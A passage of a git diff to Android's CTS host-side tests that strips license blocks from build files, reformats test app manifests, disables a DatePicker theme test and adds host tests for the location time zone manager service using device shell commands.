     name: "CtsTelephonyHostCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/telephony/devicetest/Android.bp b/hostsidetests/telephony/devicetest/Android.bp
index dda0d6c..e32364b 100644
--- a/hostsidetests/telephony/devicetest/Android.bp
+++ b/hostsidetests/telephony/devicetest/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "TelephonyDeviceTest",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/telephonyprovider/Android.bp b/hostsidetests/telephonyprovider/Android.bp
index 2fa3b71..e2f6b22 100644
--- a/hostsidetests/telephonyprovider/Android.bp
+++ b/hostsidetests/telephonyprovider/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsTelephonyProviderHostCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/telephonyprovider/devicetest/Android.bp b/hostsidetests/telephonyprovider/devicetest/Android.bp
index cc44044..8a70b2e 100644
--- a/hostsidetests/telephonyprovider/devicetest/Android.bp
+++ b/hostsidetests/telephonyprovider/devicetest/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "TelephonyProviderDeviceTest",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/testharness/Android.bp b/hostsidetests/testharness/Android.bp
index c7efdaf..975d996 100644
--- a/hostsidetests/testharness/Android.bp
+++ b/hostsidetests/testharness/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsTestHarnessModeTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/testharness/app/Android.bp b/hostsidetests/testharness/app/Android.bp
index a5a8b29..c8ea847 100644
--- a/hostsidetests/testharness/app/Android.bp
+++ b/hostsidetests/testharness/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsTestHarnessModeDeviceApp",
     // Don't include this package in any target
diff --git a/hostsidetests/testharness/app/AndroidManifest.xml b/hostsidetests/testharness/app/AndroidManifest.xml
index 421894d..8fd4ad1 100755
--- a/hostsidetests/testharness/app/AndroidManifest.xml
+++ b/hostsidetests/testharness/app/AndroidManifest.xml
@@ -16,20 +16,19 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.testharness.app">
+     package="android.testharness.app">
 
     <application>
-        <activity android:name=".TestHarnessActivity" >
+        <activity android:name=".TestHarnessActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.testharness.app" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.testharness.app"/>
 
 </manifest>
-
diff --git a/hostsidetests/theme/Android.mk b/hostsidetests/theme/Android.mk
index 44637c1..037c2e3 100644
--- a/hostsidetests/theme/Android.mk
+++ b/hostsidetests/theme/Android.mk
@@ -31,8 +31,6 @@
 
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsThemeHostTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 
 LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
@@ -44,3 +42,4 @@
 LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
+
diff --git a/hostsidetests/theme/app/Android.bp b/hostsidetests/theme/app/Android.bp
index 4c7cdc6..c534e9e 100644
--- a/hostsidetests/theme/app/Android.bp
+++ b/hostsidetests/theme/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsThemeDeviceApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/theme/app/AndroidManifest.xml b/hostsidetests/theme/app/AndroidManifest.xml
index 7487a05..49f2d84 100755
--- a/hostsidetests/theme/app/AndroidManifest.xml
+++ b/hostsidetests/theme/app/AndroidManifest.xml
@@ -16,29 +16,30 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.theme.app">
+     package="android.theme.app">
 
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
 
     <application android:requestLegacyExternalStorage="true">
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <activity android:name=".ThemeDeviceActivity"
-                  android:screenOrientation="portrait">
+             android:screenOrientation="portrait"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name=".GenerateImagesActivity"
-                  android:screenOrientation="portrait"
-                  android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|uiMode"
-                  android:exported="true" />
+             android:screenOrientation="portrait"
+             android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|uiMode"
+             android:exported="true"/>
     </application>
 
     <!--  self-instrumenting test package. -->
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.theme.app"
-                     android:label="Generates Theme reference images"/>
+         android:targetPackage="android.theme.app"
+         android:label="Generates Theme reference images"/>
 
 </manifest>
diff --git a/hostsidetests/theme/app/src/android/theme/app/TestConfiguration.java b/hostsidetests/theme/app/src/android/theme/app/TestConfiguration.java
index 552b819..a944e0f 100644
--- a/hostsidetests/theme/app/src/android/theme/app/TestConfiguration.java
+++ b/hostsidetests/theme/app/src/android/theme/app/TestConfiguration.java
@@ -185,8 +185,11 @@
             new LayoutInfo(R.layout.color_purple, "color_purple"),
             new LayoutInfo(R.layout.color_red_dark, "color_red_dark"),
             new LayoutInfo(R.layout.color_red_light, "color_red_light"),
-            new LayoutInfo(R.layout.datepicker, "datepicker",
-                    new DatePickerModifier()),
+            // Temporarily remove tests for the DatePicker widget. Something changed with font
+            // rendering behavior (likely ag/12562227 which upgraded Roboto to variable format)
+            // but we don't have resources available right now to update the golden images.
+            //new LayoutInfo(R.layout.datepicker, "datepicker",
+            //        new DatePickerModifier()),
             new LayoutInfo(R.layout.edittext, "edittext"),
             new LayoutInfo(R.layout.progressbar_horizontal_0, "progressbar_horizontal_0"),
             new LayoutInfo(R.layout.progressbar_horizontal_100, "progressbar_horizontal_100"),
diff --git a/hostsidetests/time/Android.bp b/hostsidetests/time/Android.bp
new file mode 100644
index 0000000..4a17818
--- /dev/null
+++ b/hostsidetests/time/Android.bp
@@ -0,0 +1,21 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsLocationTimeZoneManagerHostTest",
+    srcs:  ["host/src/**/*.java"],
+    libs: ["cts-tradefed", "tradefed"],
+    test_suites: ["general-tests", "cts"],
+    test_config: "host/AndroidTest.xml",
+}
diff --git a/hostsidetests/time/OWNERS b/hostsidetests/time/OWNERS
new file mode 100644
index 0000000..a81fa72
--- /dev/null
+++ b/hostsidetests/time/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 847766
+nfuller@google.com
+include platform/frameworks/base:/core/java/android/app/timedetector/OWNERS
diff --git a/hostsidetests/time/TEST_MAPPING b/hostsidetests/time/TEST_MAPPING
new file mode 100644
index 0000000..1ce59ee
--- /dev/null
+++ b/hostsidetests/time/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsLocationTimeZoneManagerHostTest"
+    }
+  ]
+}
diff --git a/hostsidetests/time/host/AndroidTest.xml b/hostsidetests/time/host/AndroidTest.xml
new file mode 100644
index 0000000..404f44d
--- /dev/null
+++ b/hostsidetests/time/host/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Host test for location_time_zone_manager service">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <test class="com.android.tradefed.testtype.HostTest" >
+        <option name="class" value="android.time.cts.host.LocationTimeZoneManagerHostTest" />
+    </test>
+</configuration>
diff --git a/hostsidetests/time/host/src/android/time/cts/host/LocationManager.java b/hostsidetests/time/host/src/android/time/cts/host/LocationManager.java
new file mode 100644
index 0000000..dab7e33
--- /dev/null
+++ b/hostsidetests/time/host/src/android/time/cts/host/LocationManager.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.time.cts.host;
+
+/**
+ * Constants related to the LocationManager service shell commands.
+ */
+final class LocationManager {
+
+    /**
+     * The name of the service for shell commands,
+     */
+    static final String SHELL_COMMAND_SERVICE_NAME = "location";
+
+    /**
+     * A shell command that sets the current user's "location enabled" setting value.
+     */
+    static final String SHELL_COMMAND_SET_LOCATION_ENABLED = "set-location-enabled";
+
+    /**
+     * A shell command that gets the current user's "location enabled" setting value.
+     */
+    static final String SHELL_COMMAND_IS_LOCATION_ENABLED = "is-location-enabled";
+
+    private LocationManager() {
+        // No need to instantiate.
+    }
+}
diff --git a/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManager.java b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManager.java
new file mode 100644
index 0000000..ba24123
--- /dev/null
+++ b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManager.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.time.cts.host;
+
+/**
+ * Constants related to the LocationTimeZoneManager service that are used by shell commands and
+ * tests.
+ *
+ * <p>See {@link android.app.time.LocationTimeZoneManager} for the device-side class that holds
+ * this information.
+ *
+ * @hide
+ */
+final class LocationTimeZoneManager {
+
+    /**
+     * The name of the primary location time zone provider, used for shell commands.
+     */
+    static final String PRIMARY_PROVIDER_NAME = "primary";
+
+    /**
+     * The name of the secondary location time zone provider, used for shell commands.
+     */
+    static final String SECONDARY_PROVIDER_NAME = "secondary";
+
+    /**
+     * The name of the service for shell commands.
+     */
+    static final String SHELL_COMMAND_SERVICE_NAME = "location_time_zone_manager";
+
+    /**
+     * A shell command that starts the service (after stop).
+     */
+    static final String SHELL_COMMAND_START = "start";
+
+    /**
+     * A shell command that stops the service.
+     */
+    static final String SHELL_COMMAND_STOP = "stop";
+
+    /**
+     * A shell command that can put providers into different modes. Takes effect next time the
+     * service is started.
+     */
+    static final String SHELL_COMMAND_SET_PROVIDER_MODE_OVERRIDE = "set_provider_mode_override";
+
+    /**
+     * The default provider mode.
+     * For use with {@link #SHELL_COMMAND_SET_PROVIDER_MODE_OVERRIDE}.
+     */
+    static final String PROVIDER_MODE_OVERRIDE_NONE = "none";
+
+    /**
+     * The "simulated" provider mode.
+     * For use with {@link #SHELL_COMMAND_SET_PROVIDER_MODE_OVERRIDE}.
+     */
+    static final String PROVIDER_MODE_OVERRIDE_SIMULATED = "simulated";
+
+    /**
+     * The "disabled" provider mode (equivalent to there being no provider configured).
+     * For use with {@link #SHELL_COMMAND_SET_PROVIDER_MODE_OVERRIDE}.
+     */
+    static final String PROVIDER_MODE_OVERRIDE_DISABLED = "disabled";
+
+    /**
+     * A shell command that tells the service to record state information during tests. The next
+     * argument value is "true" or "false".
+     */
+    static final String SHELL_COMMAND_RECORD_PROVIDER_STATES = "record_provider_states";
+
+    /**
+     * A shell command that tells the service to dump its current state.
+     */
+    static final String SHELL_COMMAND_DUMP_STATE = "dump_state";
+
+    /**
+     * Option for {@link #SHELL_COMMAND_DUMP_STATE} that tells it to dump state as a binary proto.
+     */
+    static final String DUMP_STATE_OPTION_PROTO = "proto";
+
+    /**
+     * A shell command that sends test commands to a provider
+     */
+    static final String SHELL_COMMAND_SEND_PROVIDER_TEST_COMMAND =
+            "send_provider_test_command";
+
+    /**
+     * Simulated provider test command that simulates the bind succeeding.
+     */
+    static final String SIMULATED_PROVIDER_TEST_COMMAND_ON_BIND = "on_bind";
+
+    /**
+     * Simulated provider test command that simulates a successful time zone detection.
+     */
+    static final String SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS = "success";
+
+    /**
+     * Argument for {@link #SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS} to specify TZDB time zone IDs.
+     */
+    static final String SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS_ARG_KEY_TZ = "tz";
+
+    private LocationTimeZoneManager() {
+        // No need to instantiate.
+    }
+}
diff --git a/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerHostTest.java b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerHostTest.java
new file mode 100644
index 0000000..5cab935
--- /dev/null
+++ b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerHostTest.java
@@ -0,0 +1,269 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.time.cts.host;
+
+
+import static android.time.cts.host.LocationManager.SHELL_COMMAND_IS_LOCATION_ENABLED;
+import static android.time.cts.host.LocationManager.SHELL_COMMAND_SET_LOCATION_ENABLED;
+import static android.time.cts.host.LocationTimeZoneManager.DUMP_STATE_OPTION_PROTO;
+import static android.time.cts.host.LocationTimeZoneManager.PRIMARY_PROVIDER_NAME;
+import static android.time.cts.host.LocationTimeZoneManager.PROVIDER_MODE_OVERRIDE_DISABLED;
+import static android.time.cts.host.LocationTimeZoneManager.PROVIDER_MODE_OVERRIDE_NONE;
+import static android.time.cts.host.LocationTimeZoneManager.PROVIDER_MODE_OVERRIDE_SIMULATED;
+import static android.time.cts.host.LocationTimeZoneManager.SECONDARY_PROVIDER_NAME;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_DUMP_STATE;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_RECORD_PROVIDER_STATES;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_SEND_PROVIDER_TEST_COMMAND;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_SET_PROVIDER_MODE_OVERRIDE;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_START;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_STOP;
+import static android.time.cts.host.LocationTimeZoneManager.SIMULATED_PROVIDER_TEST_COMMAND_ON_BIND;
+import static android.time.cts.host.LocationTimeZoneManager.SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS;
+import static android.time.cts.host.LocationTimeZoneManager.SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS_ARG_KEY_TZ;
+import static android.time.cts.host.TimeZoneDetector.SHELL_COMMAND_IS_AUTO_DETECTION_ENABLED;
+import static android.time.cts.host.TimeZoneDetector.SHELL_COMMAND_IS_GEO_DETECTION_ENABLED;
+import static android.time.cts.host.TimeZoneDetector.SHELL_COMMAND_SET_AUTO_DETECTION_ENABLED;
+import static android.time.cts.host.TimeZoneDetector.SHELL_COMMAND_SET_GEO_DETECTION_ENABLED;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.time.LocationTimeZoneManagerServiceStateProto;
+import android.app.time.TimeZoneProviderStateEnum;
+import android.app.time.TimeZoneProviderStateProto;
+
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.google.protobuf.Parser;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.nio.charset.StandardCharsets;
+import java.util.Arrays;
+import java.util.List;
+
+/** Host-side CTS tests for the location time zone manager service. */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class LocationTimeZoneManagerHostTest extends BaseHostJUnit4Test {
+
+    /**
+     * The values to use to return a provider to "enabled". It doesn't matter what it is providing
+     * it isn't one of the known mode values.
+     */
+    private static final String PROVIDER_MODE_ENABLED = "\"\"";
+
+    private boolean mOriginalLocationEnabled;
+    private boolean mOriginalAutoDetectionEnabled;
+    private boolean mOriginalGeoDetectionEnabled;
+
+    @Before
+    public void setUp() throws Exception {
+        assumeGeoDetectionSupported();
+
+        // All tests start with the location_time_zone_manager disabled so that providers can be
+        // configured.
+        stopLocationTimeZoneManagerService();
+
+        // Make sure locations is enabled, otherwise the geo detection feature will be disabled
+        // whatever the geolocation detection setting is set to.
+        mOriginalLocationEnabled = isLocationEnabledForCurrentUser();
+        if (!mOriginalLocationEnabled) {
+            setLocationEnabledForCurrentUser(true);
+        }
+
+        // Make sure automatic time zone detection is enabled, otherwise the geo detection feature
+        // will be disabled whatever the geolocation detection setting is set to
+        mOriginalAutoDetectionEnabled = isAutoDetectionEnabled();
+        if (!mOriginalAutoDetectionEnabled) {
+            setAutoDetectionEnabled(true);
+        }
+
+        // Make sure geolocation time zone detection is enabled.
+        mOriginalGeoDetectionEnabled = isGeoDetectionEnabled();
+        if (!mOriginalGeoDetectionEnabled) {
+            setGeoDetectionEnabled(true);
+        }
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        stopLocationTimeZoneManagerService();
+        setProviderOverrideMode(PRIMARY_PROVIDER_NAME, PROVIDER_MODE_OVERRIDE_NONE);
+        setProviderOverrideMode(SECONDARY_PROVIDER_NAME, PROVIDER_MODE_OVERRIDE_NONE);
+
+        // Reset settings.
+        if (!mOriginalGeoDetectionEnabled) {
+            setGeoDetectionEnabled(false);
+        }
+        if (!mOriginalAutoDetectionEnabled) {
+            setAutoDetectionEnabled(false);
+        }
+        if (!mOriginalLocationEnabled) {
+            setLocationEnabledForCurrentUser(false);
+        }
+
+        startLocationTimeZoneManagerService();
+    }
+
+    @Test
+    public void testSecondarySuggestion() throws Exception {
+        setProviderOverrideMode(PRIMARY_PROVIDER_NAME, PROVIDER_MODE_OVERRIDE_DISABLED);
+        setProviderOverrideMode(SECONDARY_PROVIDER_NAME, PROVIDER_MODE_OVERRIDE_SIMULATED);
+        startLocationTimeZoneManagerService();
+        setLocationTimeZoneManagerStateRecordingMode(true);
+
+        simulateProviderBind(SECONDARY_PROVIDER_NAME);
+        simulateProviderSuggestion(SECONDARY_PROVIDER_NAME, "Europe/London");
+
+        LocationTimeZoneManagerServiceStateProto serviceState =
+                dumpLocationTimeZoneManagerServiceState();
+        assertEquals(Arrays.asList("Europe/London"),
+                serviceState.getLastSuggestion().getZoneIdsList());
+
+        List<TimeZoneProviderStateProto> secondaryStates =
+                serviceState.getSecondaryProviderStatesList();
+        assertEquals(1, secondaryStates.size());
+        assertEquals(TimeZoneProviderStateEnum.TIME_ZONE_PROVIDER_STATE_CERTAIN,
+                secondaryStates.get(0).getState());
+    }
+
+    private LocationTimeZoneManagerServiceStateProto dumpLocationTimeZoneManagerServiceState()
+            throws Exception {
+        byte[] protoBytes = executeLocationTimeZoneManagerCommand(
+                "%s --%s", SHELL_COMMAND_DUMP_STATE, DUMP_STATE_OPTION_PROTO);
+        Parser<LocationTimeZoneManagerServiceStateProto> parser =
+                LocationTimeZoneManagerServiceStateProto.parser();
+        return parser.parseFrom(protoBytes);
+    }
+
+    private void setLocationTimeZoneManagerStateRecordingMode(boolean enabled) throws Exception {
+        String command = String.format("%s %s", SHELL_COMMAND_RECORD_PROVIDER_STATES, enabled);
+        executeLocationTimeZoneManagerCommand(command);
+    }
+
+    private boolean isLocationEnabledForCurrentUser() throws Exception {
+        byte[] result = executeLocationManagerCommand(SHELL_COMMAND_IS_LOCATION_ENABLED);
+        return parseShellCommandBytesAsBoolean(result);
+    }
+
+    private void setLocationEnabledForCurrentUser(boolean enabled) throws Exception {
+        executeLocationManagerCommand(
+                "%s %s", SHELL_COMMAND_SET_LOCATION_ENABLED, enabled);
+    }
+
+    private boolean isAutoDetectionEnabled() throws Exception {
+        byte[] result = executeTimeZoneDetectorCommand(SHELL_COMMAND_IS_AUTO_DETECTION_ENABLED);
+        return parseShellCommandBytesAsBoolean(result);
+    }
+
+    private static boolean parseShellCommandBytesAsBoolean(byte[] result) {
+        String resultString = new String(result, 0, result.length, StandardCharsets.ISO_8859_1);
+        if (resultString.startsWith("true")) {
+            return true;
+        } else if (resultString.startsWith("false")) {
+            return false;
+        } else {
+            throw new AssertionError("Command returned unexpected result: " + resultString);
+        }
+    }
+
+    private void setAutoDetectionEnabled(boolean enabled) throws Exception {
+        executeTimeZoneDetectorCommand("%s %s", SHELL_COMMAND_SET_AUTO_DETECTION_ENABLED, enabled);
+    }
+
+    private boolean isGeoDetectionEnabled() throws Exception {
+        byte[] result = executeTimeZoneDetectorCommand(SHELL_COMMAND_IS_GEO_DETECTION_ENABLED);
+        return parseShellCommandBytesAsBoolean(result);
+    }
+
+    private void setGeoDetectionEnabled(boolean enabled) throws Exception {
+        executeTimeZoneDetectorCommand("%s %s", SHELL_COMMAND_SET_GEO_DETECTION_ENABLED, enabled);
+    }
+
+    private void assumeGeoDetectionSupported() throws Exception {
+        assumeTrue(isGeoDetectionSupported());
+    }
+
+    private boolean isGeoDetectionSupported() throws Exception {
+        byte[] result = executeTimeZoneDetectorCommand(
+                TimeZoneDetector.SHELL_COMMAND_IS_GEO_DETECTION_SUPPORTED);
+        return parseShellCommandBytesAsBoolean(result);
+    }
+
+    private void startLocationTimeZoneManagerService() throws Exception {
+        executeLocationTimeZoneManagerCommand(SHELL_COMMAND_START);
+    }
+
+    private void stopLocationTimeZoneManagerService() throws Exception {
+        executeLocationTimeZoneManagerCommand(SHELL_COMMAND_STOP);
+    }
+
+    private void setProviderOverrideMode(String providerName, String mode) throws Exception {
+        executeLocationTimeZoneManagerCommand(
+                "%s %s %s", SHELL_COMMAND_SET_PROVIDER_MODE_OVERRIDE, providerName, mode);
+    }
+
+    private void simulateProviderSuggestion(String providerName, String... zoneIds)
+            throws Exception {
+        String timeZoneIds = String.join("&", zoneIds);
+        String testCommand = String.format("%s %s=string_array:%s",
+                SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS,
+                SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS_ARG_KEY_TZ,
+                timeZoneIds);
+        executeProviderTestCommand(providerName, testCommand);
+    }
+
+    private void simulateProviderBind(String providerName) throws Exception {
+        executeProviderTestCommand(providerName, SIMULATED_PROVIDER_TEST_COMMAND_ON_BIND);
+    }
+
+    private void executeProviderTestCommand(String providerName, String testCommand)
+            throws Exception {
+        executeLocationTimeZoneManagerCommand("%s %s %s",
+                SHELL_COMMAND_SEND_PROVIDER_TEST_COMMAND, providerName, testCommand);
+    }
+
+    private byte[] executeLocationManagerCommand(String cmd, Object... args)
+            throws Exception {
+        String command = String.format(cmd, args);
+        return executeShellCommandReturnBytes("cmd %s %s",
+                LocationManager.SHELL_COMMAND_SERVICE_NAME, command);
+    }
+
+    private byte[] executeLocationTimeZoneManagerCommand(String cmd, Object... args)
+            throws Exception {
+        String command = String.format(cmd, args);
+        return executeShellCommandReturnBytes("cmd %s %s",
+                LocationTimeZoneManager.SHELL_COMMAND_SERVICE_NAME, command);
+    }
+
+    private byte[] executeTimeZoneDetectorCommand(String cmd, Object... args) throws Exception {
+        String command = String.format(cmd, args);
+        return executeShellCommandReturnBytes("cmd %s %s",
+                TimeZoneDetector.SHELL_COMMAND_SERVICE_NAME, command);
+    }
+
+    private byte[] executeShellCommandReturnBytes(String cmd, Object... args) throws Exception {
+        CollectingByteOutputReceiver bytesReceiver = new CollectingByteOutputReceiver();
+        getDevice().executeShellCommand(String.format(cmd, args), bytesReceiver);
+        return bytesReceiver.getOutput();
+    }
+}
diff --git a/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetector.java b/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetector.java
new file mode 100644
index 0000000..7265d85
--- /dev/null
+++ b/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetector.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.time.cts.host;
+
+/**
+ * Constants related to the TimeZoneDetector service.
+ *
+ * <p>See {@link android.app.timezonedetector.TimeZoneDetector} for the device-side class that holds
+ * this information.
+ */
+interface TimeZoneDetector {
+
+    /**
+     * The name of the service for shell commands.
+     * @hide
+     */
+    String SHELL_COMMAND_SERVICE_NAME = "time_zone_detector";
+
+    /**
+     * A shell command that prints the current "auto time zone detection" global setting value.
+     * @hide
+     */
+    String SHELL_COMMAND_IS_AUTO_DETECTION_ENABLED = "is_auto_detection_enabled";
+
+    /**
+     * A shell command that sets the current "auto time zone detection" global setting value.
+     * @hide
+     */
+    String SHELL_COMMAND_SET_AUTO_DETECTION_ENABLED = "set_auto_detection_enabled";
+
+    /**
+     * A shell command that prints whether the geolocation-based time zone detection feature is
+     * supported on the device.
+     * @hide
+     */
+    String SHELL_COMMAND_IS_GEO_DETECTION_SUPPORTED = "is_geo_detection_supported";
+
+    /**
+     * A shell command that prints the current user's "location-based time zone detection enabled"
+     * setting.
+     * @hide
+     */
+    String SHELL_COMMAND_IS_GEO_DETECTION_ENABLED = "is_geo_detection_enabled";
+
+    /**
+     * A shell command that sets the current user's "location-based time zone detection enabled"
+     * setting.
+     * @hide
+     */
+    String SHELL_COMMAND_SET_GEO_DETECTION_ENABLED = "set_geo_detection_enabled";
+
+    /**
+     * A shell command that injects a geolocation time zone suggestion (as if from the
+     * location_time_zone_manager).
+     * @hide
+     */
+    String SHELL_COMMAND_SUGGEST_GEO_LOCATION_TIME_ZONE = "suggest_geo_location_time_zone";
+
+    /**
+     * A shell command that injects a manual time zone suggestion (as if from the SettingsUI or
+     * similar).
+     * @hide
+     */
+    String SHELL_COMMAND_SUGGEST_MANUAL_TIME_ZONE = "suggest_manual_time_zone";
+
+    /**
+     * A shell command that injects a telephony time zone suggestion (as if from the phone app).
+     * @hide
+     */
+    String SHELL_COMMAND_SUGGEST_TELEPHONY_TIME_ZONE = "suggest_telephony_time_zone";
+}
